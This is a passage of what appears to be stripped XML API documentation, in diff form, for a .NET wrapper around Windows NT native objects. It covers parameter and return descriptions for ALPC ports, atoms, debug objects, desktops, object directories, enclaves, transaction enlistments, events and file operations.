attribute results. + + + + Send a message on an ALPC port. + + Send flags. + The message to send. Optional. + The attributes to send with the message. Optional. + Time out for the send/receive. + The attribute parameters will be repopulated with the attribute results. + True if completed successfully, false if timed out. + Thrown on error. + + + + Send a message on an ALPC port. + + Send flags. + The message to send. Optional. + The attribute parameters will be repopulated with the attribute results. + + + + Receive a message on an ALPC port. + + Receive flags. + The maximum length to receive. + The attributes to receive with the message. Optional. + Time out for the send/receive. + True to throw on error. + The received message. + The attribute parameters will be repopulated with the attribute results. + + + + Receive a message on an ALPC port. + + Receive flags. + The maximum length to receive. + The attributes to receive with the message. Optional. + Time out for the send/receive. + The received message. + The attribute parameters will be repopulated with the attribute results. + + + + Receive a message on an ALPC port. + + Receive flags. + The maximum length to receive. + The attributes to receive with the message. Optional. + The received message. + The attribute parameters will be repopulated with the attribute results. + + + + Receive a message on an ALPC port. + + Receive flags. + The maximum length to receive. + The received message. + The attribute parameters will be repopulated with the attribute results. + + + + Receive a message on an ALPC port. + + Receive flags. + The attributes to receive with the message. Optional. + Time out for the send/receive. + True to throw on error. + The received message. + The attribute parameters will be repopulated with the attribute results. + The type of structure to receive. + + + + Receive a message on an ALPC port. + + Receive flags. + The attributes to receive with the message. Optional. + Time out for the send/receive. + The attribute parameters will be repopulated with the attribute results. + The type of structure to receive. + + + + Receive a message on an ALPC port. + + Receive flags. + The attributes to receive with the message. Optional. + The attribute parameters will be repopulated with the attribute results. + The type of structure to receive. + + + + Receive a message on an ALPC port. + + Receive flags. + The type of structure to receive. + + + + Impersonate client of port for a message. + + The message send by the client. + Impersonation flags. + Required impersonation level. Need to set RequiredImpersonationLevel flag as well. + True to throw on error. + Thread impersonation context. + + + + Impersonate client of port for a message. + + The message send by the client. + Impersonation flags. + Required impersonation level. Need to set RequiredImpersonationLevel flag as well. + Thread impersonation context. + + + + Impersonate client of port for a message. + + The message send by the client. + Thread impersonation context. + + + + Impersonate client container of port for a message. + + The message send by the client. + Impersonation flags. + True to throw on error. + Thread impersonation context. + + + + Impersonate client container of port for a message. + + The message send by the client. + Impersonation flags. + Thread impersonation context. + + + + Impersonate client container of port for a message. + + The message send by the client. + Thread impersonation context. + + + + Open the process of the message sender. + + The sent message. + Optional flags. Currently none defined. + The desired access for the process. + Optional object attributes. + True to throw on error. + The opened process object. + + + + Open the process of the message sender. + + The sent message. + Optional flags. Currently none defined. + The desired access for the process. + Optional object attributes. + The opened process object. + + + + Open the process of the message sender. + + The sent message. + The desired access for the process. + The opened process object. + + + + Open the process of the message sender with maximum privileges. + + The sent message. + The opened process object. + + + + Open the thread of the message sender. + + The sent message. + Optional flags. Currently none defined. + The desired access for the thread. + Optional object attributes. + True to throw on error. + The opened thread object. + + + + Open the thread of the message sender. + + The sent message. + Optional flags. Currently none defined. + The desired access for the thread. + Optional object attributes. + The opened thread object. + + + + Open the thread of the message sender. + + The sent message. + The desired access for the thread. + The opened thread object. + + + + Open the thread of the message sender with maximum privileges. + + The sent message. + The opened thread object. + + + + Associate an IO completion port with this ALPC port. + + The IO completion object. + Optional completion key. + True to throw on error. + The NT status code. + + + + Associate an IO completion port with this ALPC port. + + The IO completion object. + Optional completion key. + The NT status code. + + + + Check if the current SID matches the connected SID. + + The SID to compare. + True to throw on error. + True if the connected SID matches the specified SID. + + + + Check if the current SID matches the connected SID. + + The SID to compare. + True if the connected SID matches the specified SID. + + + + Create a new port section. + + Flags for the port section. + Optional backing section. + Size of the section to create. + True to throw on error. + The created port section. + + + + Create a new port section. + + Flags for the port section. + Optional backing section. + Size of the section to create. + The created port section. + + + + Create a new port section. + + Flags for the port section. + Size of the section to create. + The created port section. + + + + Create a new port section. + + Size of the section to create. + The created port section. + + + + Get a handle entry for a message. + + The handle index to get. + The associated message. + True to throw on error. + The ALPC handle entry. + + + + Get a handle entry for a message. + + The handle index to get. + The associated message. + The ALPC handle entry. + + + + Create a security context. + + Flags for the creation. + Security quality of service. + True to throw on error. + The created security context. + + + + Create a security context. + + Flags for the creation. + Security quality of service. + The created security context. + + + + Create a security context. + + Security quality of service. + The created security context. + + + + Create a security context. + + The created security context. + + + + Set port attribute flags. + + The flags to set. + True to throw on error. + The NT status code. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Port flags. + + + + + Port sequence number. + + + + + Port context. + + + + + Class to represent an ALPC client port. + + + + + Connect to an ALPC port. + + The path to the port. + Object attributes for the handle. Optional. + Attributes for the port. Optional. + Send flags for the initial connection message. + Required SID for the server. + Initial connection message. + Outbound message attributes. + Inbound message atributes. + Connect timeout. + True to throw on error. + The connected ALPC port. + + + + Connect to an ALPC port. + + The path to the port. + Object attributes for the handle. Optional. + Attributes for the port. Optional. + Send flags for the initial connection message. + Required SID for the server. + Initial connection message. + Outbound message attributes. + Inbound message atributes. + Connect timeout. + The connected ALPC port. + Thrown on error. + + + + Connect to an ALPC port. + + The name of the port to connect to. + Attributes for the port. + The connected ALPC port object. + + + + Connect to an ALPC port. + + Object attribute for the port name. + Object attributes for the handle. Optional. + Attributes for the port. Optional. + Send flags for the initial connection message. + Required security descriptor for the server. + Initial connection message. + Outbound message attributes. + Inbound message atributes. + Connect timeout. + True to throw on error. + The connected ALPC port. + Only available on Windows 8+. + + + + Connect to an ALPC port. + + Object attribute for the port name. + Object attributes for the handle. Optional. + Attributes for the port. Optional. + Send flags for the initial connection message. + Required security descriptor for the server. + Initial connection message. + Outbound message attributes. + Inbound message atributes. + Connect timeout. + The connected ALPC port. + Thrown on error. + + + + Connect to an ALPC port. + + Object attribute for the port name. + Attributes for the port. + The connected ALPC port object. + + + + Get the server process information. + + True to throw on error. + The process information. + + + + Get the server process information. + + The process information. + + + + Get the server process ID. + + + + + Get the server session ID. + + + + + Class to represent an ALPC server port. + + + + + Create an ALPC port. + + The object attributes for the port. + The attributes for the port. + True to throw on error. + The created object. + + + + Create an ALPC port. + + The object attributes for the port. + The attributes for the port. + The created object. + Thrown on error. + + + + Create an ALPC port. + + The name of the port to create. + The attributes for the port. + The created object. + Thrown on error. + + + + Accept a new connection on a port. + + The message send flags. + Object attributes. Optional. + The attributes for the port. + Port context. Optional. + Connect request message. + Connect request attributes. + True to accept the connection. + True to throw on error. + The accepted port. + + + + Accept a new connection on a port. + + The message send flags. + Object attributes. Optional. + The attributes for the port. + Port context. Optional. + Connect request message. + Connect request attributes. + True to accept the connection. + The accepted port. + + + + Accept a new connection on a port. + + The message send flags. + Connect request message. + Connect request attributes. + True to accept the connection. + The accepted port. + + + + Access rights for ALPC + + + + + ALPC Port Information Class + + + + + If set then object duplication won't complete. Used by RPC to ensure + multi-handle attributes don't fail when receiving. + + + + + Use in a reply to release the view. + + + + + Automatically release the view once it's passed to the receiver. + + + + + Make the data view secure. + + + + + When used all structures passed to kernel need to be 64 bit versions. + + + + + Static utilities for ALPC. + + + + + Wait for the result to complete. This could be waiting on an event + or the file handle. + + Wait timeout. Will cancel the operation if it times out. + Returns true if the wait completed successfully. + If true is returned then status and information can be read out. + + + + Wait for the result to complete asynchronously. This could be waiting on an event + or the file handle. + + Cancellation token. + Returns true if the wait completed successfully. + If true is returned then status and information can be read out. + + + + Return the status information field. + + Thrown if not complete. + + + + Return the status information field. (32 bit) + + Thrown if not complete. + + + + Get completion status code. + + Thrown if not complete. + + + + Returns true if the call is pending. + + + + + Dispose object. + + + + + Reset the file result so it can be reused. + + + + + Cancel the pending IO operation. + + + + + Cancel the pending IO operation. + + True to throw on error. + The NT status code. + + + + Class to handle NT atoms + + + + + Add a global atom name + + The name to add + Flags for the add. + True to throw on error. + A reference to the atom + + + + Add a global atom name + + The name to add + Flags for the add. + A reference to the atom + + + + Add a global atom name + + The name to add + True to throw on error. + A reference to the atom + + + + Add a global atom name + + The name to add + A reference to the atom + + + + Find a global atom by name. + + The name of the atom. + True to throw on error. + The found atom. + + + + Find a global atom by name. + + The name of the atom. + The found atom. + + + + Query if a global atom exists. + + The atom to check. + True if the atom exists. + + + + Query if the atom exists. + + The atom to check. + Specify true to check for a global atom, otherwise gets a user atom. + True if the atom exists. + + + + Open a global atom by number. + + The atom to open. + True to check atom exists. + True to open a global atom, otherwise a user atom. + True to throw on error. + The atom object. + + + + Open a global atom by number. + + The atom to open. + True to check atom exists. + True to throw on error. + The atom object. + + + + Open a global atom by number. + + The atom to open. + True to check atom exists. + The atom object. + + + + Open a global atom by number. + + The atom to open. + The atom object. + + + + Enumerate all atoms. + + An enumeration of all atoms on the system. + + + + Enumerate all global atoms. + + An enumeration of all atoms on the system. + + + + Delete a global atom. + + True to throw on error. + The NT status code. + + + + Delete a global atom. + + + + + Get the name of the atom. + + True to throw on error. + The name of the atom. + + + + The atom value + + + + + Get the name of the atom. + + The name of the atom + + + + If true indicates this is a global atom, otherwise it's a user atom. + + + + + Class representing a NT Debug object + + + + + Create a debug object + + The debug object name (can be null) + The root directory for relative names + Debug object flags. + The debug object + + + + Create a debug object + + Desired access for the debug object + Object attributes for debug object + Debug object flags. + The debug object + + + + Create a debug object + + Desired access for the debug object + Object attributes for debug object + Debug object flags. + True to throw an exception on error. + The NT status code and object result. + + + + Create a debug object + + The debug object + + + + Open a named debug object + + The debug object name + The root directory for relative names + Desired access for the debug object + The debug object + + + + Open a named debug object + + The object attributes to open. + Desired access for the debug object + The debug object + + + + Open a named debug object + + The object attributes to open. + Desired access for the debug object + True to throw an exception on error. + The NT status code and object result. + + + + Open the current thread's debug object. + + True to throw on error. + The opened debug object. Returns null if no object exists. + + + + Open the current thread's debug object. Returns null if no object exists. + + + + + Attach to an active process. + + The process to debug. + True to throw on error. + The NT status code. + + + + Attach to an active process. + + The process ID to debug. + True to throw on error. + The NT status code. + + + + Attach to an active process. + + The process to debug. + + + + Attach to an active process. + + The process ID to debug. + + + + Detach a process from this debug object. + + The process to remove. + True to throw on error. + The NT status code. + + + + Detach a process from this debug object. + + The process to remove. + + + + Detach a process from this debug object. + + The process ID to remove. + True to throw on error. + The NT status code. + + + + Detach a process from this debug object. + + The process ID to remove. + + + + Set kill process on close flag. + + The flag state. + True to throw on error. + The NT status code. + + + + Set kill process on close flag. + + The flag state. + + + + Continue the debugged process. + + The client ID for the process and thread IDs. + The continue status code. + True to throw on error. + The NT status code. + + + + Continue the debugged process. + + The process ID to continue. + The thread ID to continue. + The continue status code. + True to throw on error. + The NT status code. + + + + Continue the debugged process. + + The client ID for the process and thread IDs. + The continue status code. + + + + Continue the debugged process. + + The process ID to continue. + The thread ID to continue. + The continue status code. + + + + Continue the debugged process with a success code. + + The process ID to continue. + The thread ID to continue. + + + + Wait for a debug event. + + True to set the thread as alertable. + Wait timeout. + True to throw on error. + The debug event. + + + + Wait for a debug event. + + True to set the thread as alertable. + Wait timeout. + The debug event. + + + + Wait for a debug event. + + Wait timeout. + The debug event. + + + + Wait for a debug event. + + Wait timeout in milliseconds. + The debug event. + + + + Wait for a debug event. + + The debug event. + + + + Class which represents a desktop object. + + + + + Open a desktop by name. + + The object attributes for opening. + Flags for opening the desktop. + Desired access. + True to throw on error. + The instance of the desktop. + Thrown on error. + + + + Open a desktop by name. + + The object attributes for opening. + Flags for opening the desktop. + Desired access. + The instance of the desktop. + Thrown on error. + + + + Open a desktop by name. + + The name of the desktop. + Optional root object + An instance of NtDesktop. + Thrown on error. + + + + Open a desktop by name. + + The name of the desktop. + An instance of NtDesktop. + + + + Create a new desktop. + + The object attributes for opening. + Flags for opening the desktop. + Desired access. + True to throw on error. + Device name. + Device mode. + Heap size. + An instance of NtDesktop. + + + + Create a new desktop. + + The object attributes for opening. + Flags for opening the desktop. + Desired access. + Device name. + Device mode. + Heap size. + An instance of NtDesktop. + + + + Create a new desktop. + + The name of the desktop. + Optional root object + An instance of NtDesktop. + + + + Create a new desktop. + + The name of the desktop. + An instance of NtDesktop. + + + + Get the desktop for a thread. + + The thread ID of the thread. + True to throw on error. + The desktop result. + + + + Get the desktop for a thread. + + The thread ID of the thread. + The desktop result. + + + + Get desktop for current thread. + + + + + Get list of top level Windows for this Desktop. + + + + + Close the Desktop. This is different from normal Close as it destroys the Desktop. + + True to throw on error. + The NT status. + + + + NT Directory Object class + + + + + Open a directory object + + The object attributes to use for the open call. + Access rights for directory object + True to throw an exception on error. + The NT status code and object result. + Thrown on error and throw_on_error is true. + + + + Open a directory object + + The object attributes to use for the open call. + Access rights for directory object + The directory object + Throw on error + + + + Open a directory object by name + + The directory object to open + Optional root directory to parse from + Access rights for directory object + The directory object + Throw on error + + + + Open a directory object by name + + The directory object to open + Optional root directory to parse from + Access rights for directory object + True to throw an exception on error. + The directory object + Throw on error + + + + Open a directory object by full name + + The directory object to open + The directory object + Throw on error + + + + Create a directory object with a shadow + + The object attributes to create the directory with + The desired access to the directory + The shadow directory + Flags for creation. + True to throw an exception on error. + The NT status code and object result. + Thrown on error and throw_on_error is true. + + + + Create a directory object with a shadow + + The object attributes to create the directory with + The desired access to the directory + The shadow directory + True to throw an exception on error. + The NT status code and object result. + Thrown on error and throw_on_error is true. + + + + Create a directory object with a shadow + + The object attributes to create the directory with + The desired access to the directory + The shadow directory + Flags for creation. + The directory object + Thrown on error + + + + Create a directory object with a shadow + + The object attributes to create the directory with + The desired access to the directory + The shadow directory + The directory object + Thrown on error + + + + Create a directory object + + The directory object to create, if null will create a unnamed directory object + The desired access to the directory + Root directory from where to start the creation operation + The directory object + Thrown on error + + + + Create a directory object with a shadow + + The directory object to create, if null will create a unnamed directory object + The desired access to the directory + Root directory from where to start the creation operation + The shadow directory + The directory object + Thrown on error + + + + Create a directory object + + The directory object to create, if null will create a unnamed directory object + The directory object + Thrown on error + + + + Open a session directory. + + The session ID to open + Sub directory to open. + Desired access to open directory. + The directory object + Thrown on error + + + + Open the current session directory. + + The directory object + Thrown on error + + + + Open the current session directory. + + The directory object + Thrown on error + + + + Open basenamedobjects for a session. + + The session ID to open + The directory object + Thrown on error + + + + Open basenamedobjects for current session. + + The directory object + Thrown on error + + + + Get the based named object's directory for a session. + + The session ID + The based named object's directory. + + + + Get the based named object's directory for the current session. + + The based named object's directory. + + + + Get the a session's Windows object directory. + + The session id to use. + The path to the windows object directory. + + + + Get the current session's Windows object directory. + + The path to the windows object directory. + + + + Get the a session's Window Stations object directory. + + The session id to use. + The path to the window stations object directory. + + + + Get the current session's Window Stations object directory. + + The path to the window stations object directory. + + + + Open dos devices directory for a token. + + The directory object + Thrown on error + + + + Open dos devices directory for current effective token. + + The directory object + Thrown on error + + + + Create a private namespace directory. + + Object attributes for the directory + Boundary descriptor for the namespace + Desired access for the directory + True to throw an exception on error. + The directory object + Thrown on error + + + + Create a private namespace directory. + + Object attributes for the directory + Boundary descriptor for the namespace + Desired access for the directory + The directory object + Thrown on error + + + + Create a private namespace directory. + + Boundary descriptor for the namespace + The directory object + Thrown on error + + + + Open a private namespace directory. + + Object attributes for the directory + Boundary descriptor for the namespace + Desired access for the directory + True to throw an exception on error. + The directory object + Thrown on error + + + + Open a private namespace directory. + + Object attributes for the directory + Boundary descriptor for the namespace + Desired access for the directory + The directory object + Thrown on error + + + + Open a private namespace directory. + + Boundary descriptor for the namespace + The directory object + Thrown on error + + + + Returns whether a directory exists for this path. + + The path to the entry. + The root directory. + True if the directory exists for the specified path. + + + + Get the type of a directory entry by path. + + The path to the directory entry + The root object to look up if path is relative + The type name, or null if it can't be found. + + + + Query the directory for a list of entries. + + The list of entries. + Thrown on error + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + Specify the desired access for the directory + True to recurse into sub directories. + Specify max recursive depth. -1 to not set a limit. + True if all children were visited. + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + True to recurse into sub directories. + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + Specify the desired access for the directory + True to recurse into sub directories. + + + + Deletes a private namespace. If not a private namespace this does nothing. + + + + + Deletes a private namespace. If not a private namespace this does nothing. + + True to throw on error. + The NT status code. + + + + Get a directory entry based on a name. + + The name of the entry. + The typename to verify against, can be null. + True if look up is case sensitive. + The directory entry, or null if it can't be found. + + + + Get a directory entry based on a name. + + The name of the entry. + The directory entry, or null if it can't be found. + + + + Check whether a directory is exists relative to the current directory. + + Relative path to directory + True if the directory exists. + + + + Set the session ID for this directory to the current session. + + True to throw on error. + The NT status code. + Thrown on error. + Needs SeTcbPrivilege. + + + + Set the session object for this directory to the current session. + + True to throw on error. + The NT status code. + Thrown on error. + Needs SeTcbPrivilege. + + + + Returns whether this object is a container. + + + + + Directory access rights. + + + + + Base class to implement an enclave. + + + + + The base address of the enclave. + + + + + The type of enclave. + + + + + Dispose of the enclave. + + + + + Close the enclave. + + + + + Call a method in the enclave. + + The routine address to call. + The parameter to pass to the routine. + True to wait for a free thread. + True to throw on error. + The return value from the call. + + + + Call a method in the enclave. + + The routine address to call. + The parameter to pass to the routine. + True to wait for a free thread. + The return value from the call. + + + + Type of enclave. + + + + + Class to represent a VBS enclave. + + + + + Create a VBS enclave. + + The process to create the enclave in. + Size of the enclave. + Flags for the enclave. + Owner ID. Must be 32 bytes. + True to throw on error. + The created enclave. + + + + Create a VBS enclave. + + The process to create the enclave in. + Size of the enclave. + Flags for the enclave. + Owner ID. Must be 32 bytes. + The created enclave. + + + + Get a procedure address in the loaded enclave. + + The name of the procedure. + True to throw on error. + The address of the procedure. + + + + Get a procedure address in the loaded enclave. + + The name of the procedure. + The address of the procedure. + + + + Terminate the enclave. + + Flags for the terminate. + True to throw on error. + The NT status code. + + + + Terminate the enclave. + + Flags for the terminate. + The NT status code. + + + + Load a module into the enclave. + + The name of the module + Flags or path. + True to throw on error. + The NT status. + + + + Load a module into the enclave. + + The name of the module + Flags or path. + The NT status. + + + + Initialize the enclave. + + The number of threads to create. + True to throw on error. + The number of created threads. + + + + Initialize the enclave. + + The number of threads to create. + The number of created threads. + + + + Dispose of the enclave. + + + + + Class to represent a kernel transaction enlistment. + + + + + Create a new enlistment object. + + The object attributes + Desired access for the handle + Resource manager to handle the enlistment. + The transaction to enlist. + Optional create options. + Notification mask. + Enlistment key returned during notification. + True to throw an exception on error. + The created enlistment and NT status code. + + + + Create a new enlistment object. + + The object attributes + Desired access for the handle + Resource manager to handle the enlistment. + The transaction to enlist. + Optional create options. + Notification mask. + Enlistment key returned during notification. + The created enlistment. + + + + Open a existing new enlistment object. + + The object attributes + Desired access for the handle + Resource manager handling the enlistment. + ID of the enlistment to open. + True to throw an exception on error. + The opened enlistment and NT status code. + + + + Open a existing new enlistment object. + + The object attributes + Desired access for the handle + Resource manager handling the enlistment. + ID of the enlistment to open. + The opened enlistment. + + + + Get a default mask for creating an enlistment object. + + The creation option to get default mask for. + A default working mask. + + + + Commit complete enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Commit enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Preprepare complete enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Preprepare enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Prepare complete enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Prepare enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Rollback complete enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Rollback enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Read only enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Recover enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Single phase reject enlistment. + + Optional virtual clock value. + True to throw on error. + The NT status code. + + + + Commit complete enlistment. + + Optional virtual clock value. + + + + Commit enlistment. + + Optional virtual clock value. + + + + Preprepare complete enlistment. + + Optional virtual clock value. + + + + Preprepare enlistment. + + Optional virtual clock value. + + + + Prepare complete enlistment. + + Optional virtual clock value. + + + + Prepare enlistment. + + Optional virtual clock value. + + + + Rollback complete enlistment. + + Optional virtual clock value. + + + + Rollback enlistment. + + Optional virtual clock value. + + + + Read only enlistment. + + Optional virtual clock value. + + + + Recover enlistment. + + Optional virtual clock value. + + + + Single phase reject enlistment. + + Optional virtual clock value. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get enlistment ID. + + + + + Get associated transaction ID. + + + + + Get resource manager ID. + + + + + Get CRM enlistment ID. + + + + + Get CRM transaction manager ID. + + + + + Get CRM resource manager ID. + + + + + Get or set recovery information. + + + + + Class to represent an NT trace GUID. + + + + + Class representing a NT Event object + + + + + Create an event object + + The path to the event + The root object for relative path names + The type of the event + The initial state of the event + True to throw on error. + The event object + + + + Create an event object + + The path to the event + The root object for relative path names + The type of the event + The initial state of the event + The event object + + + + Create an event object + + The event object attributes + The type of the event + The initial state of the event + The desired access for the event + The event object + + + + Create an event object + + The event object attributes + The type of the event + The initial state of the event + The desired access for the event + True to throw an exception on error. + The NT status code and object result. + + + + Create an event object + + The path to the event + The type of the event + The initial state of the event + The event object + + + + Open an event object + + The path to the event + The root object for relative path names + The desired access for the event + The event object + + + + Open an event object + + The event object attributes + The desired access for the event + The event object. + + + + Open an event object + + The event object attributes + The desired access for the event + True to throw an exception on error. + The NT status code and object result. + + + + Open an event object + + The path to the event + The root object for relative path names + The event object + + + + Open an event object + + The path to the event + The event object + + + + Set the event state + + True to throw an exception on error. + The previous state of the event and NT status. + + + + Set the event state + + The previous state of the event + + + + Clear the event state + + True to throw an exception on error. + The NT status code. + + + + Clear the event state + + + + + Pulse the event state. + + True to throw an exception on error. + The previous state of the event and NT status. + + + + Pulse the event state. + + The previous state of the event + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get event type. + + + + + Get current event state. + + + + + Type of Event object. + + + + + Manual reset event. + + + + + Automatic reset event. + + + + + Exception class representing an NT status error. + + + + + Constructor + + Status result + + + + Returns the contained NT status code + + + + + Returns a string form of the NT status code. + + + + + Class representing a NT File object + + + + + Create a new file + + The object attributes + Desired access for the file + Attributes for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + Optional allocation size. + True to throw an exception on error. + The NT status code and object result. + + + + Create a new file + + The object attributes + Desired access for the file + Attributes for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + Optional allocation size. + The created/opened file object. + + + + Create a new file + + The object attributes + Desired access for the file + Attributes for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + True to throw an exception on error. + The NT status code and object result. + + + + Create a new file + + The object attributes + Desired access for the file + Attributes for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + The created/opened file object. + + + + Create a new file + + The path to the file + A root object to parse relative filenames + Desired access for the file + Attributes for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + True to throw an exception on error. + The created/opened file object. + + + + Create a new file + + The path to the file + A root object to parse relative filenames + Desired access for the file + Attributes for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + The created/opened file object. + + + + Create a new file + + The path to the file + Desired access for the file + Share access for the file + Open options for file + Disposition when opening the file + Extended Attributes buffer + The created/opened file object. + + + + Create a new named pipe file + + The object attributes + Desired access for the file + Share access for the file + Open options for file + Disposition when opening the file + Pipe completion mode + Default timeout + Input quota + Maximum number of instances (-1 for infinite) + Output quota + Type of pipe to create + Pipe read mode + True to throw an exception on error. + The NT status code and object result. + Thrown on error. + + + + Create a new named pipe file + + The object attributes + Desired access for the file + Share access for the file + Open options for file + Disposition when opening the file + Pipe completion mode + Default timeout + Input quota + Maximum number of instances (-1 for infinite) + Output quota + Type of pipe to create + Pipe read mode + The file instance for the pipe. + Thrown on error. + + + + Create a new named pipe file + + The path to the pipe file + A root object to parse relative filenames + Desired access for the file + Share access for the file + Open options for file + Disposition when opening the file + Pipe completion mode + Default timeout + Input quota + Maximum number of instances (-1 for infinite) + Output quota + Type of pipe to create + Pipe read mode + True to throw an exception on error. + The file instance for the pipe. + Thrown on error. + + + + Create a new named pipe file + + The path to the pipe file + A root object to parse relative filenames + Desired access for the file + Share access for the file + Open options for file + Disposition when opening the file + Pipe completion mode + Default timeout + Input quota + Maximum number of instances (-1 for infinite) + Output quota + Type of pipe to create + Pipe read mode + The file instance for the pipe. + Thrown on error. + + + + Create an anonymous named pipe pair. + + True to throw on error. + The named pipe pair. + + + + Create an anonymous named pipe pair. + + The named pipe pair. + + + + Create a new named mailslot file + + The object attributes + Desired access for the file + Open options for file + Mailslot quota + Maximum message size (0 for any size) + Read Timeout. + True to throw on error. + The file instance for the mailslot. + Thrown on error. + + + + Create a new named mailslot file + + The object attributes + Desired access for the file + Open options for file + Mailslot quota + Maximum message size (0 for any size) + Read timeout in MS (<0 is infinite) + True to throw on error. + The file instance for the mailslot. + Thrown on error. + + + + Create a new named mailslot file + + The object attributes + Desired access for the file + Open options for file + Mailslot quota + Maximum message size (0 for any size) + Read timeout in MS ( <0 is infinite) + The file instance for the mailslot. + Thrown on error. + + + + Create a new named mailslot file + + The path to the mailslot file + A root object to parse relative filenames + Desired access for the file + Open options for file + Mailslot quota + Maximum message size (0 for any size) + Timeout in MS ( <0 is infinite) + The file instance for the mailslot. + Thrown on error. + + + + Open a file + + The object attributes + The desired access for the file handle + The file share access + File open options + True to throw an exception on error. + The NT status code and object result. + + + + Open a file + + The object attributesf + The desired access for the file handle + The file share access + File open options + The opened file + Thrown on error. + + + + Open a file + + The path to the file + The root directory if path is relative. + The desired access for the file handle + The file share access + File open options + True to throw an exception on error. + The opened file + Thrown on error. + + + + Open a file + + The path to the file + The root directory if path is relative. + The desired access for the file handle + The file share access + File open options + The opened file + Thrown on error. + + + + Open a file + + The path to the file + The root directory if path is relative. + The desired access for the file handle + The opened file + Thrown on error. + + + + Get the object ID of a file as a string + + The path to the file + The object ID as a string + Thrown on error. + + + + Open a file by its object ID + + A handle to the volume on which the file resides. + The object ID as a binary string + The desired access for the file + File share access + Open options. + True to throw on error + The opened file object + + + + Open a file by its object ID + + A handle to the volume on which the file resides. + The object ID as a binary string + The desired access for the file + File share access + Open options. + The opened file object + Thrown on error. + + + + Open a file by its ID + + A handle to the volume on which the file resides. + The file's ID. Can be a file reference number or an Object ID. + The desired access for the file + File share access + Open options. + True to throw on error + The opened file object + + + + Open a file by its ID + + A handle to the volume on which the file resides. + The file's ID. Can be a file reference number or an Object ID. + The desired access for the file + File share access + Open options. + The opened file object + + + + Open a file by its object ID + + A handle to the volume on which the file resides. + The file ID. + The desired access for the file + File share access + Open options. + True to throw on error + The opened file object + + + + Open a file by its file ID + + A handle to the volume on which the file resides. + The file ID. + The desired access for the file + File share access + Open options. + The opened file object + Thrown on error. + + + + Open a file by its file ID + + The path to the volume which contains the file. + The file ID. + The desired access for the file + File share access + Open options. + True to throw on error + The opened file object + + + + Open a file by its file ID + + The path to the volume which contains the file. + The file ID. + The desired access for the file + File share access + Open options. + The opened file object + + + + Delete a file + + The object attributes for the file. + True to throw an exception on error + The status result of the delete + + + + Delete a file + + The object attributes for the file. + + + + Delete a file + + The path to the file. + + + + Rename file. + + The file to rename. + The target NT path. + Thrown on error. + + + + Create a hardlink to another file. + + The file to hardlink to. + The desintation hardlink path. + Thrown on error. + + + + Create a mount point. + + The path to the mount point to create. + The substitute name to reparse to. + The print name to display (can be null). + + + + Create a symlink. + + The path to the mount point to create. + True to create a directory symlink, false for a file. + The substitute name to reparse to. + The print name to display. + Additional flags for the symlink. + + + + Get the reparse point buffer for the file. + + The path to the reparse point. + The reparse point buffer. + + + + Delete the reparse point buffer. + + The path to the reparse point. + The original reparse buffer. + + + + Query attributes of a file. + + The object attributes. + True to throw on error. + The file attributes. + + + + Query attributes of a file. + + The object attributes. + The file attributes. + + + + Query attributes of a file. + + The path to the file. + The root directory to parse from. + True to throw on error. + The file attributes. + + + + Query attributes of a file. + + The path to the file. + The root directory to parse from. + The file attributes. + + + + Query attributes of a file. + + The path to the file. + The file attributes. + + + + Send a Device IO Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Cancellation token to cancel the async operation. + True to throw on error. + Thrown on error. + The length of output bytes returned. + + + + Send a Device IO Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + Cancellation token to cancel the async operation. + True to throw on error. + The output buffer returned by the kernel. + + + + Send a Device IO Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Cancellation token to cancel the async operation. + Thrown on error. + The length of output bytes returned. + + + + Send a Device IO Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + Cancellation token to cancel the async operation. + The output buffer returned by the kernel. + + + + Send a File System Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Cancellation token to cancel the async operation. + True to throw on error. + Thrown on error. + The length of output bytes returned. + + + + Send a File System Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + Cancellation token to cancel the async operation. + True to throw on error. + The output buffer returned by the kernel. + + + + Send a File System Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Cancellation token to cancel the async operation. + Thrown on error. + The length of output bytes returned. + + + + Send a File System Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + Cancellation token to cancel the async operation. + The output buffer returned by the kernel. + + + + Send a Device IO Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Thrown on error. + The length of output bytes returned. + + + + Send a Device IO Control code to the file driver. + + The control code + Input buffer can be null + Maximum 